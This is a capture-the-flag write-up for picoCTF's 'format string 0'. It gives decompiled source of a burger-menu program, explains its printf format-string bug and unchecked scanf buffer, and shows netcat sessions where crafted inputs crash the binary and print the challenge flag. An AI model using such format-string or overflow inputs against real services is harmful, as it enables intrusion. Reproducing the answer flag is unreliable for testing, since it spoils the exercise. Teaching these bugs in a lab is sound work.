PicoCTF Writeup - format string 0
PicoCTF Challenge: https://play.picoctf.org/practice/challenge/433?category=6&page=1
format string 0
Author: Cheng Zhang
Description
Can you use your knowledge of format strings to make the customers happy?
Download the binary here.
Download the source here.
Additional details will be available after launching your challenge instance.Hints
1st - This is an introduction of format string vulnerabilities. Look up “format specifiers” if you have never seen them before.
2nd - Just try out the different optionsResources:
Source Code: /format-string-0.c
Binary: /format-string-0
$ nc mimas.picoctf.net 60589There are two different methods to solve this challenge.
Decompile
We can decompile the binary to a pseudo C like this (Binary Ninja):
00401276 void sigsegv_handler() __noreturn
00401276 {00401294 printf("\n%s\n", &flag);004012a3 fflush(stdout);004012ad exit(1);004012ad /* no return */00401276 }
/* ... */
004012b2 int on_menu(char* user_input, char** menu_item, int list_size)
004012b2 {004012b2 int index = 0;004012b20040130d while (true)0040130d {0040130d if (index >= list_size)0040130f return 0;0040130f004012fa /* Compares each characters */004012fa if (!strcmp(user_input, menu_item[index]))004012fa break;004012fa00401303 index += 1;0040130d }0040130d004012fc return 1;004012b2 }
/* ... */
004014c3 int serve_bob()
004014c3 {004014c3 printf("\n%s %s\n%s %s\n%s %s\n%s", "Good job! Patrick is happy!",004014c3 "Now can you serve the second customer?", "Sponge Bob wants something outrageous that would break the shop",004014c3 "(better be served quick before the shop owner kicks you out!)", "Please choose from the following burgers:",004014c3 "Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak", "Enter your recommendation: ");00401511 fflush(stdout);
00401527 char format[32];00401527 scanf("%s", &format);
0040152c char *items[] = { "Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak" };
0040153c0040155e if (!on_menu(&format, &itmes, 3))0040155e {00401587 printf("There is no such burger yet!");00401574 return fflush(stdout);0040155e }0040155e00401587 printf(&format);00401596 return fflush(stdout);004014c3 }
/* ... */
004013bb int serve_patrick()
004013bb {004013bb printf("%s %s\n%s\n%s %s\n%s", "Welcome to our newly-opened burger place Pico 'n Patty!",004013bb "Can you help the picky customers find their favorite burger?", "Here comes the first customer Patrick who wants a giant bite.",004013bb "Please choose from the following burgers:", "Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",004013bb "Enter your recommendation: ");00401408 fflush(stdout);
0040141e char format[44];0040141e scanf("%s", &format);
00401423 char *items[] = { "Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe" };
0040143300401455 if (!on_menu(&format, &items, 3))00401455 {0040147e printf("There is no such burger yet!");0040146b return fflush(stdout);00401455 }004014550040148a if (printf(&format) > 0x40)004014ac return serve_bob();004014ac004014ac printf("%s\n%s\n", "Patrick is still hungry!", "Try to serve him something of larger size!");004014bb return fflush(stdout);004013bb }
/* ... */
00401316 int main()
00401316 {00401333 FILE* fp = fopen("flag.txt", "r");0040133300401341 if (!fp)00401341 {00401377 printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n");00401361 exit(0);00401361 /* no return */00401341 }0040134100401377 fgets(&flag, 64, fp);00401386 signal(SIGSEGV, sigsegv_handler);0040138b gid_t gid = getegid();004013a5 setresgid(gid, gid, gid);004013af serve_patrick();004013ba return 0;00401316 }This is the full source code (decompiled):
void sigsegv_handler(){ printf("\n%s\n", &flag); fflush(stdout); exit(1);}
int serve_bob(){ printf("\n%s %s\n%s %s\n%s %s\n%s", "Good job! Patrick is happy!", "Now can you serve the second customer?", "Sponge Bob wants something outrageous that would break the shop", "(better be served quick before the shop owner kicks you out!)", "Please choose from the following burgers:", "Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak", "Enter your recommendation: "); fflush(stdout);
char format[32]; scanf("%s", &format);
char *items[] = { "Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak" };
if (!on_menu(&format, &itmes, 3)) { printf("There is no such burger yet!"); return fflush(stdout); }
printf(&format); return fflush(stdout);}
int serve_patrick(){ printf("%s %s\n%s\n%s %s\n%s", "Welcome to our newly-opened burger place Pico 'n Patty!", "Can you help the picky customers find their favorite burger?", "Here comes the first customer Patrick who wants a giant bite.", "Please choose from the following burgers:", "Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe", "Enter your recommendation: "); fflush(stdout);
char format[44]; scanf("%s", &format);
char *items[] = { "Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe" };
if (!on_menu(&format, &items, 3)) { printf("There is no such burger yet!"); return fflush(stdout); }
if (printf(&format) > 0x40) return serve_bob();
printf("%s\n%s\n", "Patrick is still hungry!", "Try to serve him something of larger size!"); return fflush(stdout);}
int main(){ FILE* fp = fopen("flag.txt", "r");
if (!fp) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); }
fgets(&flag, 64, fp);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid(); setresgid(gid, gid, gid);
serve_patrick(); return 0;}Analysis
A close inspection of the program’s decompiled code reveals that special characters with % are printed in printf(). By selecting an appropriate format string as input, you can have that format string printed and cause a segmentation fault.
The string Gr%114d_Cheese prints a specific number of spaces on the screen, followed by additional strings. The code below calls serve_bob() if the number of characters printed by printf exceeds 64.
if (printf(&format) > 0x40) /* 0x40 => 64 */ return serve_bob();The string Cla%sic_Che%s%steak calls %s a total of 3 times. In the printf() statement containing this string, %s is called 6 times in total to print the string. By attempting to call 3 additional non-existent strings, a segmentation fault is triggered.
therustymate-picoctf@webshell:~$ nc mimas.picoctf.net 60589Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?Here comes the first customer Patrick who wants a giant bite.Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxeEnter your recommendation: Gr%114d_CheeseGr 4202954_CheeseGood job! Patrick is happy! Now can you serve the second customer?Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steakEnter your recommendation: Cla%sic_Che%s%steakClaCla%sic_Che%s%steakic_Che(null)picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_f89c1405}
therustymate-picoctf@webshell:~$The flag is: picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_f89c1405}
This program has a system that reads the flag from flag.txt and outputs it if a segmentation fault occurs. Therefore, you can obtain the flag by causing a segmentation fault in the program.
The program takes input via scanf() into a 44-byte or 32-byte variable without size validation, so entering a value exceeding this limit triggers a segmentation fault and causes the flag to be printed.
therustymate-picoctf@webshell:~$ nc mimas.picoctf.net 60589Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?Here comes the first customer Patrick who wants a giant bite.Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxeEnter your recommendation: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAThere is no such burger yet!
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_f89c1405}The flag is: picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_f89c1405}